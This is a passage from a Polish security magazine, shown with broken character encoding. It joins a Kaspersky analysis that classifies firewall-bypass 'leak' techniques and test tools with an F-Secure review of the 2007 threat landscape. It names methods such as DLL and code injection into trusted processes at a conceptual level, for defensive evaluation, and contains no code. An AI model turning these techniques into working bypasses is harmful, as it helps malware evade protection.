do tej, która znajduje siê na stronie http://www.firewall-

leaktester.com, s¹ jednak pewne ró¿nice.

Ró¿nice miêdzy klasyfikacjami opisano poni¿ej.

Klasyfikacja wykorzystana w tym artykule nie zawie-
ra metod przedstawionych w tab. 1.
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Rysunek 13. Wykorzystanie interfejsów programów

do kontrolowania przegl¹darki Tabela 1

Lp.
Metoda na stronie

www.firewallleaktester.com

Metoda na stronie

www.matousec.com

1 Ukryte regu³y (Hidden rules) Domyœlne regu³y (Default Rules)

2
Bezpoœrednie wykorzystanie

interfejsu sieciowego
(Direct network interface use)

W³asny sterownik protoko³u
(Own Protocol Driver)

3 Atak czasowy (Timing attack)

4
Rekursywne zapytania
(Recursive requests)

5
Wstrzykiwanie do rejestru

(Registry injection)

6
Po³¹czenie metod Windows

Messaging + OLE
Windows Messages

oraz OLE Automation, DDE

7 Unhooking



Metody te nie zosta³y uwzglêdnione w naszej klasy-
fikacji z nastêpuj¹cych powodów:

l Metoda „Ukryte regu³y” nie jest sama w sobie
wyciekiem (zobacz definicjê wycieku powy¿ej),
poniewa¿ nie implementuje ¿adnej technologii,
która obchodzi mechanizm kontrolowania aktyw-
noœci sieciowej w zaporze sieciowej. Metoda ta
sprawdza zestaw regu³ pakietowych (odnosz¹-
cych siê do wszystkich aplikacji w systemie) wy-
korzystywany domyœlnie przez zaporê sieciow¹.
Jeœli jeden z portów sieciowych jest otwarty dla
wszystkich aplikacji, mo¿e zostaæ wykorzystany
przez szkodliw¹ aplikacjê do wysy³ania danych
do odbiorców spoza sieci.

l Metoda „Bezpoœrednie wykorzystywanie inter-

fejsu sieciowego” obchodzi mechanizmy filtro-
wania ruchu sieciowego na „niskim” poziomie.
Metoda ta tworzy alternatywny stos sterowników
sieciowych, które przetwarzaj¹ pakiety pocho-
dz¹ce z karty sieciowej równolegle do stosów sy-
stemowych (TCP/IP itd.). Metoda ta nie zosta³a
uwzglêdniona w naszej klasyfikacji, poniewa¿ nie
istniej¹ obecnie ¿adne implementacje (testy wy-
cieków) dzia³aj¹ce pod kontrol¹ wspó³czesnych
systemów operacyjnych, tj. Windows XP/Vista.
Ponadto jest wysoce nieprawdopodobne, ¿e
w przysz³oœci pojawi¹ siê nowe testy wycieków
(lub szkodliwe programy) wykorzystuj¹ce tê me-
todê, poniewa¿ jest ona znacznie bardziej z³o¿o-
na ni¿ inne metody, za pomoc¹ których mo¿na
przeprowadziæ ataki-wycieki. Metoda ta jest jed-
nak wykorzystywana w trzech testach wycieków,
które dzia³aj¹ na przestarza³ym ju¿ systemie Win-
dows 9x:

n MbTest (autor: „mbcx8nlp”, 2003), wykorzystu-
je bibliotekê Winpcap;

n Outbound (autor: HackBusters, 2001);

n YALTA [2] (autor: Soft4ever, 2001).

l Metoda „Atak czasowy” nie zosta³a skatego-
ryzowana jako oddzielna metoda w naszej klasy-
fikacji. Wynika to z tego, ¿e obecnie praktycznie
¿adna zapora sieciowa nie mo¿e zostaæ ominiêta
przy u¿yciu technologii, na której jest oparta (re-

startowanie w³asnego procesu w celu zmiany
PID, tj. identyfikatora procesu).

l W naszej klasyfikacji metoda „Rekursywne za-

pytania” nale¿y do grupy Us³ugi systemowe.

l W naszej klasyfikacji metoda „Wstrzykiwanie

do rejestru” zosta³a skategoryzowana jako wa-
riant metody wstrzykiwania DLL, poniewa¿ jej
istota nie polega na modyfikowaniu rejestru, ale
na wstrzykiwaniu biblioteki do³¹czanej dynamicz-
nie do zaufanych procesów. Mo¿na tego doko-
naæ miêdzy innymi poprzez wykorzystanie spe-
cjalnego klucza rejestru.

l W naszej klasyfikacji metody zgrupowane w ka-
tegorii „Windows Messaging + OLE” zosta³y
umieszczone w grupach Us³ugi przegl¹darki oraz
Us³ugi systemowe. Uwa¿amy, ¿e jest to bardziej
logiczne, poniewa¿ zamiast opisywania imple-
mentacji technicznej (wysy³anie wiadomoœci itd.)
odzwierciedla ona istotê technologii wycieku na
wy¿szym poziomie – wykorzystywanie interfej-
sów programu do kontrolowania przegl¹darki lub
wykorzystywanie us³ug sieciowych systemu ope-
racyjnego.

l Unhooking. Metoda ta opiera siê na nastêpu-
j¹cej koncepcji: aby zapewniæ ochronê przed nie-
którymi technologiami wycieków, zapory sieciowe
wykorzystuj¹ tzw. punkty zaczepienia w celu
przechwytywania funkcji systemowych. Jeœli s¹
one wy³¹czone (ang. unhooked), zapora siecio-
wa nie bêdzie mog³a zwalczaæ wycieków. Z opisu
tego wyraŸnie wynika, ¿e metoda ta jako taka nie
jest wyciekiem, dlatego nie jest zawarta w na-
szej klasyfikacji wycieków. Jednak w po³¹czeniu
z „prawdziw¹” metod¹ wycieków pomaga zwery-
fikowaæ, jak skutecznie zapora sieciowa chroni
przed tak¹ metod¹ wycieków w trudnych warun-
kach, poprzez symulowanie sytuacji, w której
szkodliwy kod aktywnie blokuje funkcjonalnoœæ
zapory sieciowej.

Wykorzystanie wycieków

w szkodliwych programach

Jeszcze kilka lat temu rzadko wykorzystywano za-
pory sieciowe do ochrony komputerów osobistych.
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Tabela 2

Lp. Metoda Szkodliwy program Data wykrycia Opis

1 Zastêpowanie
Backdoor.

Win32.Bifrose.aer
26 marca, 2007

Zastêpuje MSN Messenger
(C:\Program Files\MSN

Messenger\msnmsgr.exe) w³asn¹ kopi¹

2
Uruchamianie poprzez

parametry wiersza
poleceñ

Trojan-Spy.
Win32.Agent.se

26 lipca, 2007
Uruchamia Internet Explorer w ukrytym

oknie ze œcie¿k¹ do pliku HTML w
wierszu poleceñ

3 Wstrzykiwanie DLL
Trojan-Spy.

Win32.Goldun.pq
11 czerwca, 2007

Rejestruje DLL w kluczu rejestru
AppInit_DLLs i wykorzystuje go do

przechwytywania ruchu internetowego

4
Wstrzykiwanie kodu

do zaufanego procesu
Trojan-Spy.

Win32.Delf.uc
19 stycznia, 2007

Tworzy w¹tek w procesie winlogon.exe
i wykorzystuje go do wysy³ania danych

do Internetu

5 Us³ugi przegl¹darki
Trojan-PSW.

Win32.LdPinch.bix
4 stycznia, 2007

Wykorzystuje interfejs IWebBrowser2
COM do wysy³ania przechwyconych

danych

6 Us³ugi systemowe
Trojan-Downloader.

Win32.Nurech.br
8 czerwca, 2007

Wykorzystuje us³ugê systemow¹ BITS
do wysy³ania poprzez Internet danych

identyfikacji u¿ytkownika (numer
seryjny dysku)



Z tego powodu tylko niewielka liczba szkodliwych
programów wykorzystywa³a wycieki do obejœcia za-
pory sieciowej. Ostatnio jednak twórcy wirusów za-
czêli stosowaæ narzêdzia automatyzacji, aby szyb-
ciej tworzyæ nowe warianty swoich szkodników.
W rezultacie wzros³o znaczenie narzêdzi zapew-
niaj¹cych dodatkowe bezpieczeñstwo komputerom
osobistym, w szczególnoœci zwiêkszy³a siê popular-
noœæ zapory sieciowej.

Poniewa¿ zapory sieciowe staj¹ siê coraz bardziej
rozpowszechnione, twórcy szkodliwego oprogramo-
wania aktywniej wykorzystuj¹ teraz wycieki w ce-
lu obejœcia zapory sieciowej. Tabela 2 zawiera
przyk³ady istniej¹cych szkodliwych programów wy-
korzystuj¹cych wszystkie 6 g³ównych metod wycie-
ków.

Nale¿y zauwa¿yæ, ¿e ró¿ne rodzaje wycieków odpo-
wiadaj¹ ró¿nym zastosowaniom i mog¹ byæ wyko-
rzystywane w szkodliwych programach do ró¿nych
celów. W szczególnoœci:

l za pomoc¹ parametrów wiersza poleceñ mo¿na
wys³aæ ograniczony zestaw danych, natomiast
szkodliwy program mo¿e wykorzystaæ technolo-
giê BITS do umieszczenia bardzo du¿ych plików
z komputera u¿ytkownika;

l metody oparte na wstrzykiwaniu DLL lub kodu do
zaufanych procesów stosowane s¹ równie¿ do
celów innych ni¿ obchodzenie zapór sieciowych,
poniewa¿ mog¹ zostaæ wykorzystane nie tylko do
wysy³ania danych w imieniu zaufanego procesu
bez wiedzy u¿ytkownika, ale równie¿ do wykony-
wania szeregu innych operacji;

l interfejsy kontroli przegl¹darki (np. WebBrowser
control) mog¹ byæ wykorzystywane nie tylko do
wysy³ania danych w imieniu przegl¹darki Internet
Explorer, ale równie¿ do kontrolowania urucho-
mionej kopii przegl¹darki (np. zamykaæ wszystkie
okna, w których adres strony nie spe³nia pew-
nych warunków), modyfikowaæ dokument za³ado-
wany w przegl¹darce, wyœwietlaæ okna komuni-
katów w przegl¹darce itd.

Testy wycieków

Tabela 3 zawiera stosowane obecnie testy wycie-
ków oraz metody wycieków, które s¹ przez nie te-
stowane. Wiêkszoœæ z wymienionych testów mo¿na
pobraæ ze strony http://www.matousec.com/projects/win-

dows-personal-firewall-analysis/introduction-firewall-leak-testing

.php lub http://www.firewallleaktester.com.

W tabeli 4 skategoryzowaliœmy testy wycieków zgod-
nie z nasz¹ klasyfikacj¹.
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Tabela 3

Lp. Nazwa Autor Metoda Rok

1 AWFT [6] Jos Pascoa Wstrzykiwanie kodu 2005

2 BITSTester Tim Fish Us³ugi systemowe 2006

3 Breakout Volker Birk Us³ugi przegl¹darki Brak danych

4 Breakout2 Volker Birk Us³ugi systemowe Brak danych

5 Coat David Matousec Zastêpowanie 2006

6 CopyCat «Bugsbunny» Wstrzykiwanie kodu Brak danych

7 CPIL Comodo Wstrzykiwanie kodu 2006

8.1 CPILSuite [1] Comodo Wstrzykiwanie kodu + Uruchamianie 2006

8.2 CPILSuite [2] Comodo Wstrzykiwanie biblioteki DLL + Uruchamianie 2006

8.3 CPILSuite [3] Comodo Wstrzykiwanie biblioteki DLL + Us³ugi przegl¹darki 2006

9 DNStest Jarkko Turkulainen Wstrzykiwanie kodu 2004

10 DNStest Jarkko Turkulainen Us³ugi systemowe 2004

11 FireHole Robin Keir Wstrzykiwanie biblioteki DLL 2002

12 FPR (38) David Matousec [unhooking] Brak danych

13 Ghost Guillaume Kaddouch Uruchamianie Brak danych

14 Jumper Guillaume Kaddouch Wstrzykiwanie biblioteki DLL 2006

15 LeakTest Steve Gibson Uruchamianie 2002

16 OSfwbypass Debasis Mohanty Us³ugi przegl¹darki 2005

17 pcAudit
Internet Security

Alliance
Wstrzykiwanie biblioteki DLL 2002

18 pcAudit2
Internet Security

Alliance
Wstrzykiwanie biblioteki DLL Brak danych

19 PCFlank www.pcflank.com Us³ugi przegl¹darki 2006

20 Runner David Matousec Zastêpowanie 2006

21 Surfer Jarkko Turkulainen Us³ugi przegl¹darki 2004

22 Thermite Oliver Lavery Wstrzykiwanie kodu 2003

23 TooLeaky Bob Sundling Uruchamianie 2001

24 Wallbreaker [4] Guillaume Kaddouch Uruchamianie 2004

25 YALTA Soft4ever [Regu³y domyœlne] 2001

26 ZAbypass Debasis Mohanty Us³ugi przegl¹darki 2005



Znaczenie wyników testów wycieków

Co daj¹ testy porównawcze zapór sieciowych wyko-
rzystuj¹ce testy wycieków? Testy te przede wszy-
stkim pomagaj¹ w ocenie jakoœci ochrony, a ich wy-
niki mog¹ u³atwiæ wybór zintegrowanego systemu
ochrony komputera.

Wybieraj¹c ochronê, u¿ytkownicy czêsto skupiaj¹
siê wy³¹cznie na takich w³aœciwoœciach, jak wspó³-
czynniki wykrywania i szybkoœæ reakcji na nowe za-
gro¿enia (np. opieraj¹c siê na wynikach testów, ta-
kich jak te podawane na stronie http://www.av-compara-

tives.org oraz http://www.av-test.de). Jednak parametry
te nie okreœlaj¹ w pe³ni jakoœci ochrony. Równie
wa¿ne s¹ takie cechy produktu, jak jakoœæ kompo-
nentu proaktywnego w rozwi¹zaniu antywirusowym,
skutecznoœæ leczenia zainfekowanych komputerów,
zdolnoœæ zwalczania aktywnych rootkitów oraz ja-
koœæ autoochrony. Niestety, autorzy testów porów-
nawczych nie przywi¹zuj¹ do nich wystarczaj¹cej
wagi. Podczas wyboru zintegrowanego produktu
ochrony nale¿y uwzglêdniæ dodatkowe komponenty,
takie jak system ochrony antyspamowej oraz zapora
sieciowa.

Jak ju¿ wczeœniej pisa³em, podczas oceny jakoœci
ochrony zapewnianej przez zaporê sieciow¹ nale¿y
uwzglêdniæ dwa kryteria: kontrolê danych wejœcio-
wych i kontrolê danych wyjœciowych.

Dobre wyniki w testach kontroli danych wyjœciowych
oznaczaj¹, ¿e zapora sieciowa nie jest jedynie do-
datkiem w produkcie antywirusowym, ale zapewnia
dodatkow¹ warstwê ochrony, która mo¿e zapobiec
wys³aniu poufnych danych u¿ytkownika do cyber-
przestêpców, nawet gdy komponenty antywirusowe
nie zdo³a³y zablokowaæ trojana.

Uwa¿amy, ¿e produkty, które otrzyma³y „Bardzo
dobr¹” lub „Znakomit¹” ocenê w testach wycieków
przeprowadzonych przez http://www.matousec.com/pro-

jects/windows-personal-firewall-analysis/leak-tests-results.php

zapewniaj¹ u¿ytkownikom wystarczaj¹c¹ ochronê.
Jeœli ochrona zosta³a oceniona jako „Dobra” czy te¿
„S³aba” lub „Bardzo s³aba”, oznacza to, ¿e twórcy
szkodliwego oprogramowania bêd¹ w stanie obejœæ

zaporê sieciow¹ produktu przy u¿yciu praktycznie
ka¿dej metody.

Wnioski

Obecnie zapora sieciowa stanowi niezbêdny kom-
ponent zintegrowanych systemów bezpieczeñstwa
IT. Nawet najnowsze systemy operacyjne, takie jak
Windows Vista, nie s¹ w stanie same zablokowaæ
wszystkich wycieków (chocia¿ pocz¹wszy od wersji
Windows XP SP2 Windows zawiera zaporê sie-
ciow¹, jej funkcjonalnoœæ zosta³a znacznie rozsze-
rzona w Viœcie).

Wed³ug wyników testu przeprowadzonego w marcu
przez Guillaume Kaddouch (http://www.firewallleakte-

ster.com/articles/vista_and_leaktests.html), Windows Vista
Ultimate 64-bit z domyœlnymi ustawieniami zabloko-
wa³ tylko 9 testów wycieków (zablokowane testy wy-
cieków zosta³y zaznaczone w tab. 5 kolorem zielo-
nym).

Najnowsza wersja systemu Windows posiada wyra-
Ÿnie lepsze zabezpieczenia ni¿ poprzednie dziêki li-
cznym usprawnieniom, takim jak UAC, IE protected
mode, Service hardening oraz Kernel Patch Protec-
tion (Vista x64). Jednak nawet Windows Vista wy-
maga zainstalowania programów bezpieczeñstwa
od innych producentów, aby zapewniæ niezbêdny
poziom ochrony przed wyciekami.

W przysz³oœci szkodliwe programy bêd¹ implemen-
towa³y nowe metody w celu obejœcia zarówno ist-
niej¹cych mechanizmów ochrony, jak i tych zawar-
tych w nowym systemie operacyjnym. Z tego powo-
du wzroœnie znaczenie zapory sieciowej jako do-
datkowego poziomu ochrony. W celu obejœcia za-
pór sieciowych twórcy szkodliwego oprogramowa-
nia bêd¹ w coraz wiêkszym stopniu wykorzystywaæ
technologie wycieków. To oznacza, ¿e testy wycie-
ków stan¹ siê kluczow¹ metod¹ testowania nieza-
wodnoœci ochrony komputera. n

Autor jest zastêpc¹ dyrektora

dzia³u technologii innowacyjnych,

Kaspersky Lab.
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Tabela 4

Lp. Technologia Testy wycieków

1 Zastêpowanie Coat, LeakTest, Runner

2 Uruchamianie Ghost, TooLeaky, Wallbreaker

3 Wstrzykiwanie biblioteki DLL CPILSuite [2,3], FireHole, Jumper, pcAudit, pcAudit2

4 Wstrzykiwanie kodu AWFT, CopyCat, CPIL, CPILSuite [1], DNStest, Thermite

5 Us³ugi przegl¹darki Breakout, OSfwbypass, PCFlank, Surfer, ZAbypass

6 Us³ugi systemowe BITSTester, Breakout2, DNStester

Tabela 5

Lp. Technologia Uwagi

1 Zastêpowanie Coat, LeakTest, Runner

2 Uruchamianie Ghost, TooLeaky, Wallbreaker

3 Wstrzykiwanie biblioteki DLL CPILSuite [2,3], FireHole, Jumper, pcAudit, pcAudit2

4 Wstrzykiwanie kodu AWFT, CopyCat, CPIL, CPILSuite [1], DNStest, Thermite

5 Us³ugi przegl¹darki Breakout, OSfwbypass, PCFlank, Surfer, ZAbypass

6 Us³ugi systemowe BITSTester, Breakout2, DNStester



W internecie dzia³a coraz wiêcej witryn phishingo-
wych (wy³udzaj¹cych informacje). Prawdopodobnie
ma to zwi¹zek z pakietami takimi, jak Rock Phish.
Prowadzenie wielu witryn phishingowych nie jest
trudniejsze od prowadzenia jednej. Z tego powodu
liczba takich stron roœnie, co powoduje spadek efek-
tywnoœci phishingu.

Koñ trojañski na bank

Co zatem robi¹ ci, którzy chc¹ wykraœæ informacje
bankowe? U¿ywaj¹ koni trojañskich.

Bankowe trojany ukrywaj¹ siê i cierpliwie czekaj¹ na
jak¹kolwiek aktywnoœæ zwi¹zan¹ z dokonywaniem
operacji finansowych poprzez sieæ. Zadaniem
trojana jest monitorowanie aktywnoœci przegl¹darki
(adresów www) pod k¹tem s³ów kluczowych zwi¹-
zanych z bankowoœci¹. Jak podkreœlaj¹ badacze
z Laboratorium F-Secure, po wykryciu operacji ban-
kowych stosowane s¹ ró¿ne techniki, aby ukraœæ
dane:

l przejmowanie formularzy;

l przechwytywanie obrazów i plików wideo;

l rejestrowanie wybieranych znaków na klawiatu-
rze;

l wstawianie fa³szywych stron lub pól formularzy;

l pharming;

l ataki typu Man in the Middle.

Bankowe trojany nie s¹ nowym zjawiskiem, ale
w roku 2007 ich liczba siê zwiêkszy³a. Man in the

Middle to technika, w której cyberprzestêpca wyko-
rzystuje imitacjê witryny bankowej w celu po-
zyskania loginu i has³a, a nastêpnie u¿ywa ich do
skorzystania z istniej¹cego konta swojej ofiary. Eks-
perci z Laboratorium F-Secure przewiduj¹, ¿e ten
trend nasili siê w 2008 roku.

Spear phishing

– nowa niebezpieczna metoda

Jednym z oczywistych niebezpieczeñstw jest u¿ycie
poufnych danych do kradzie¿y to¿samoœci. Nowy-mi
zagro¿eniami s¹ natomiast ataki ukierunkowane
oraz masowy spear phishing. W tych metodach in-
¿ynierii spo³ecznej wykorzystuje siê bardzo szcze-
gó³owe informacje osobiste. Napastnik zwraca siê
do ofiary po imieniu, a treœæ wiadomoœci jest zgodna
z osobistymi danymi.

Spam adresowany do „Szanownego klienta” nie jest
tak efektywny, jak wiadomoœæ przes³ana do konkret-
nej osoby z wykorzystaniem odpowiednich tytu³ów
s³u¿bowych i nazw miejsc. Wystarczy do³¹czyæ kilka
faktów, a ofiara przestaje mieæ siê na bacznoœci.

Pod koniec listopada ub.r. zrobi³o siê g³oœno o ma-
sowym ukierunkowanym ataku, w którym przynêt¹
by³ Departament Sprawiedliwoœci Stanów Zjedno-
czonych. U¿yto nazwisk odbiorców i nazw zatrud-
niaj¹cych ich firm. Wiadomoœæ stwierdza³a, ¿e firma
otrzyma³a skargê od Departamentu Sprawiedliwo-
œci. Rzekoma skarga, w rzeczywistoœci program po-
bieraj¹cy trojana, by³a do³¹czona do wiadomoœci.

Osobiste informacje u¿ywane w tego rodzaju ata-
kach s¹ powszechnie dostêpne. Napastnicy maj¹
jeszcze ³atwiejsze zadanie ze wzglêdu na rosn¹c¹
popularnoœæ witryn spo³ecznoœciowych, gdzie u¿yt-
kownicy sami chêtnie ujawniaj¹ dane.
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Na pocz¹tku roku 2007 liczba wykrytych szkodliwych programów wynosi³a æwieræ miliona.

Pod koniec roku 2007 wzros³a do oko³o pó³ miliona. Zatem w ci¹gu zaledwie jednego roku

przyby³o tyle samo z³oœliwych aplikacji, co przez ostatnie 20 lat. Powstaje mniej zupe³nie

nowych rodzajów z³oœliwych aplikacji, ale za to wiêcej tworzonych jest zestawów szkodliwych

programów, które – choæ wykorzystuj¹ dobrze znane techniki – zosta³y ulepszone pod k¹tem

efektywnoœci dzia³ania.

Z³oœliwe aplikacje

F-Secure
– bezpieczeñstwo danych
w 2007 roku



Jak oceniaj¹ eksperci z Laboratorium F-Secure,
w 2008 roku pojawi siê wiêcej ukierunkowanych
ataków pocztowych, w których technika in¿ynierii
spo³ecznej zostanie wzbogacona informacjami wy-
kradzionymi z baz danych.

Zgubi³em has³o?

Podasz mi swoje? ...Twój Trojan ;)

W ubieg³ym roku kolejnym groŸnym zjawiskiem by-
³y trojany wykradaj¹ce has³a, których celem ataku
sta³y siê gry online. Gry online zyskiwa³y na po-
pularnoœci przez ca³y 2007 rok. Co wa¿niejsze
– przynosi³y coraz wiêksze przychody. W wirtu-
alnych œwiatach gier online istniej¹ wirtualne towary.
Wielu graczy jest sk³onnych p³aciæ za nie prawdzi-
wymi pieniêdzmi. Choæ wiêc towary te nie maj¹ fizy-
cznej postaci, ich wartoœæ jest rzeczywista, a rzeczy
wartoœciowe, jak powszechnie wiadomo, staj¹ siê
celem kradzie¿y. Ukradzione towary s¹ sprzeda-
wane na aukcjach, a z³odziei trudno zidentyfikowaæ,
poniewa¿ przestêpstwo jest w ca³oœci pope³niane
online.

Rodzina Trojan-PSW:W32/OnlineGames pojawi³a siê
14 wrzeœnia 2006 roku. Pod koniec ubieg³ego roku
zespó³ badawczy F-Secure wykry³ a¿ 150 przy-
padków.

Zlob – fa³szywe kodeki wideo

i modyfikatory ustawieñ DNS

Jednym ze szkodników odnosz¹cych najwiêksze
sukcesy w 2007 roku jest Zlob. To program szpie-
gowski, który podaje siê za kodek wideo potrzebny
do ogl¹dania treœci zabezpieczonych przed ko-
piowaniem. Warianty Zloba po zainstalowaniu zwy-
kle wyœwietlaj¹ fa³szywe komunikaty o b³êdach, któ-
re maj¹ przekonaæ u¿ytkownika do zakupienia
i zainstalowania rzekomych programów antyszpie-
gowskich.

Inne szkodniki napisane przez twórców Zloba, takie
jak DNSChanger, bez wiedzy u¿ytkowników rekonfi-
guruj¹ adres serwera DNS. Serwery DNS odpo-
wiadaj¹ za t³umaczenie tekstowych adresów URL
na liczbowe adresy IP. Zmiana ustawieñ DNS
sprawia, ¿e twórcy Zloba zyskuj¹ kontrolê nad
przegl¹dark¹, za pomoc¹ której s¹ w stanie kie-
rowaæ u¿ytkowników w dowolne miejsce w sieci. Jak
to wygl¹da w praktyce? Jeœli ofiara wyszuka termin
„bilety lotnicze”, sponsorowane przez Zlob, gene-
ruj¹ce przychody ³¹cze znajdzie siê na po-cz¹tku li-
sty wyników. Zatem mo¿na u¿yæ okreœlenia, i¿ Zlob
utrzymuje siê z paso¿ytnictwa. Kradzie¿ danych
ofiar nie jest celem.

Cyberprzestêpcy nie kradn¹ te¿ zasobów kompu-
tera, aby zbudowaæ sieæ botów. Zamiast tego wyko-
rzystuj¹ oni swoje ofiary, które czêsto nawet sobie
tego faktu nie uœwiadamiaj¹.

Pod koniec paŸdziernika 2007 roku gang Zloba po-
wiêkszy³ potencjalne grono ofiar, wprowadzaj¹c
wersje programu DNSChanger dzia³aj¹ce w syste-
mie Mac OSX.

Storm – sieæ botów 2007 roku

W roku 2007 narodzi³a siê kolekcja trojanów i ro-
baków e-mail nazwana Storm Worm. 19 stycznia
2007 roku w sieci zaczê³y kr¹¿yæ wiadomoœci e-mail
z tematem opartym na rzeczywistym wydarzeniu,
czyli porywistych burzach szalej¹cych w Europie.
Z tematu „230 dead as storm batters Europe” wziê³a
siê nazwa Storm. U¿ycie udramatyzowanych wersji
rzeczywistych nag³ówków prasowych okaza³o siê
pomys³owym zastosowaniem in¿ynierii spo³ecznej
i pocz¹tkowo by³o bardzo skuteczne, jednak¿e
w pierwszej po³owie roku technika zaczê³a traciæ na
efektywnoœci, poniewa¿ by³a zbyt czêsto powta-
rzana. Dlatego gang stoj¹cy za Stormem zmieni³
metodê dzia³ania. Podczas drugiej po³owy 2007
roku stale modyfikowa³ swoj¹ taktykê in¿ynierii
spo³ecznej. Bior¹c na celownik Stany Zjednoczone,
korzysta³ z pañstwowych œwi¹t, na przyk³ad Dnia
Pracy, oraz sezonowych wydarzeñ, takich jak
pocz¹tek i koniec National Football League (NFL).
Mierz¹c w innych odbiorców, twórcy Storma wyko-
rzystywali popularne trendy i witryny. Jednym z tri-
ków by³a obietnica zobaczenia „siebie” w rzekomym
wideo YouTube przesy³ana w wiadomoœci e-mail,
która wskazywa³a fa³szyw¹ witrynê YouTube.

Gang zmieni³ równie¿ wektor infekcji, poniewa¿
skutecznoœæ wykrywania Storma zwiêkszy³a siê
i za³¹czniki do wiadomoœci e-mail by³y blokowane.
Zamiast do³¹czaæ szkodliwy kod do wiadomoœci
e-mail, cyberprzestêpcy zaczêli przesy³aæ wiadomo-
œci z ³¹czami do niebezpiecznych stron www. Kiedy
i strony www przesta³y byæ dobrym rozwi¹zaniem,
cyberprzestêpcy oczyœcili strony i umieœcili na nich
³¹cza do z³oœliwych aplikacji. Tak wiêc wektor ataku
przesun¹³ siê z wiadomoœci e-mail na strony www
przesy³aj¹ce pliki, a potem na strony www z od-
sy³aczami do plików (a pliki te s¹ modyfikowane na
bie¿¹co...).

Warto zauwa¿yæ, ¿e w niektórych witrynach Storma
znajduj¹ siê ramki oferuj¹ce 16 wersji z³oœliwe-
go kodu adresom IP ze Stanów Zjednoczonych
zamiast 9, które by³y oferowane adresom IP spoza
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Stanów. Storm jest produkowany w Europie, ale
– zgodnie z ocen¹ badaczy z F-Secure – wiele
wskazuje na to, ¿e twórcy Storma dzia³aj¹ po obu
stronach Atlantyku.

Kolejn¹ specjaln¹ cech¹ sieci botów Storma, na
któr¹ warto zwróciæ uwagê, jest to, ¿e chroni sama
siebie. Powtarzanie ¿¹dañ z jednego Ÿród³a spra-
wia, ¿e sieæ odpowiada atakiem DDoS. Badania
trzeba prowadziæ ostro¿nie, bo w przeciwnym razie
sieæ botów staje siê agresywna.

Apple a bezpieczeñstwo

Rok 2007 by³ bardzo pomyœlny dla firmy Apple. Jej
sprzêt jest popularniejszy ni¿ kiedykolwiek przed-
tem. Wniosek cyberprzestêpców by³ prosty – wiêcej
sprzêtu Apple’a oznacza wiêcej zainstalowanego
oprogramowania Apple’a.

Jak ju¿ wspomniano, programy modyfikuj¹ce ustawie-
nia DNS zaczê³y atakowaæ system Mac OSX. U¿yt-
kownicy s¹ przekonywani do wprowadzenia has³a
administratora – wystarczy odrobina pomys³owej in-
¿ynierii spo³ecznej. Nak³onienie u¿ytkownika macin-
tosha do wpisania has³a w celu zainstalowania ko-
deka wideo nie jest szczególnie trudnym wyzwa-
niem, a przynajmniej nie by³o w przypadku szkodli-
wego oprogramowania dla Windows. Dotychcza-
sowy brak niebezpiecznych aplikacji atakuj¹cych
system Mac OSX mo¿e postawiæ jego u¿ytkowni-
ków w niekorzystnym po³o¿eniu, jeœli napastnik wy-
korzy- sta ich fa³szywe poczucie bezpieczeñstwa.
Udzia³ rynkowy macintoshy jest na tyle znacz¹cy, ¿e
komputery Apple’a staj¹ siê celem paso¿ytów
Zloba. Jak uczy doœwiadczenie, cyberprzestêpcy
nie trac¹ cza- su na pisanie czegoœ, co nie przy-
nios³oby zysku.

Zapewne przyczyni³a siê do rozwoju tego trendu
napisana przez Apple przegl¹darka Safari dla Win-
dows. Kiedy w po³owie czerwca 2007 r. zosta³a udo-
stêpniona jej wersja beta, badacze odkryli w niej
wiele usterek. Niestety, znaczna ich czêœæ nie zo-
sta³a poprawiona w wersji Safari dla macintosha.

Witryny www przesy³aj¹ce modyfikatory ustawieñ
DNS ustalaj¹ system operacyjny i wersjê prze-
gl¹darki u¿ywan¹ przez odwiedzaj¹cego. Odpo-
wiednia wersja z³oœliwego kodu jest dostarczana
dynamicznie. Jeœli witrynê odwiedzi u¿ytkownik
macintosha, otrzyma szkodliwe oprogramowanie
dostosowane do systemu Mac OS.

iPhone

Telefon Apple iPhone cechuje siê imponuj¹cym
wzornictwem i unikatowym interfejsem u¿ytkownika.

W Stanach Zjednoczonych trafi³ do sprzeda¿y pod
koniec czerwca 2007 roku. W Europie wprowadzo-
no go na rynek w czwartym kwartale ubieg³ego
roku. W ci¹gu zaledwie szeœciu miesiêcy urz¹dze-
nie to zosta³o doœæ gruntownie rozpracowane.

Wykorzystuje ono wersjê systemu Mac OSX, który
z kolei wywodzi siê z Unixa. Ci, którzy znaj¹ zabez-
pieczenia unixowe, mog¹ wzglêdnie ³atwo „prze-
nieœæ” swoj¹ wiedzê i umiejêtnoœci do telefonu
iPhone.

iPhone zawiera równie¿ przegl¹darkê Safari i za-
pewnia do niej pe³ny dostêp. Ze wzglêdu na „prze-
noœnoœæ wiedzy” i wspomniane ju¿ usterki w Safari,
a tak¿e na znakomity design urz¹dzenia, iPhone
sta³ siê celem ogromnego zainteresowania hakerów.
Dodajmy do tego fakt, ¿e iPhone jest urz¹dzeniem
„zablokowanym”, a otrzymamy kombinacjê czynni-
ków, która musia³a doprowadziæ do prób z³amania
zabezpieczeñ telefonu. We wrzeœniu H.D. Moore
do³¹czy³ obs³ugê iPhone’a do szkieletu Metasploit,
co bardzo u³atwi³o badanie zabezpieczeñ oraz me-
tod ataku. £amanie zabezpieczeñ iPhone’a ma na
celu odblokowanie urz¹dzenia, niemniej ujawnianie
s³abych punktów telefonu ma konsekwencje dla
bezpieczeñstwa.

W³amania do baz danych

Raporty o w³amaniach do baz danych i utracie in-
formacji staj¹ siê codziennoœci¹. W bazach danych
na ca³ym œwiecie znajduje siê mnóstwo poufnych
danych podatnych na kradzie¿.

Styczeñ b.r. zacz¹³ siê od swoistego trzêsienia ziemi
w tej dziedzinie. Okaza³o siê, ¿e firma TJX
Companies ujawni³a 45,7 miliona numerów kart kre-
dytowych i rekordów transakcji. Winowajc¹ by³a z³a
konfiguracja zabezpieczeñ Wi-Fi i przestarza³e szy-
frowanie WEP. Rok 2007 zamyka siê podobnym
zdarzeniem w Wielkiej Brytanii, gdzie w listopadzie
firma HM Revenue & Customs (HMRC) utraci³a 25
milionów nazwisk, adresów i numerów ubezpiecze-
nia spo³ecznego. Dwie p³yty CD z informacjami o ro-
dzicach, ich dzieciach oraz ich kontach bankowych
zaginê³y na poczcie.

Wnioski i prognozy

W 2007 roku ataki mia³y charakter masowy. Twórcy
z³oœliwych aplikacji zachowuj¹ siê jak „przedsiêbior-
cy” szybko reaguj¹cy na zmieniaj¹ce siê potrzeby
rynku i popyt na konkretne kradzione informacje. S¹
kryminalistami, a w miarê up³ywu czasu ich „biznes”
staje siê coraz bardziej profesjonalny. Narzêdzia
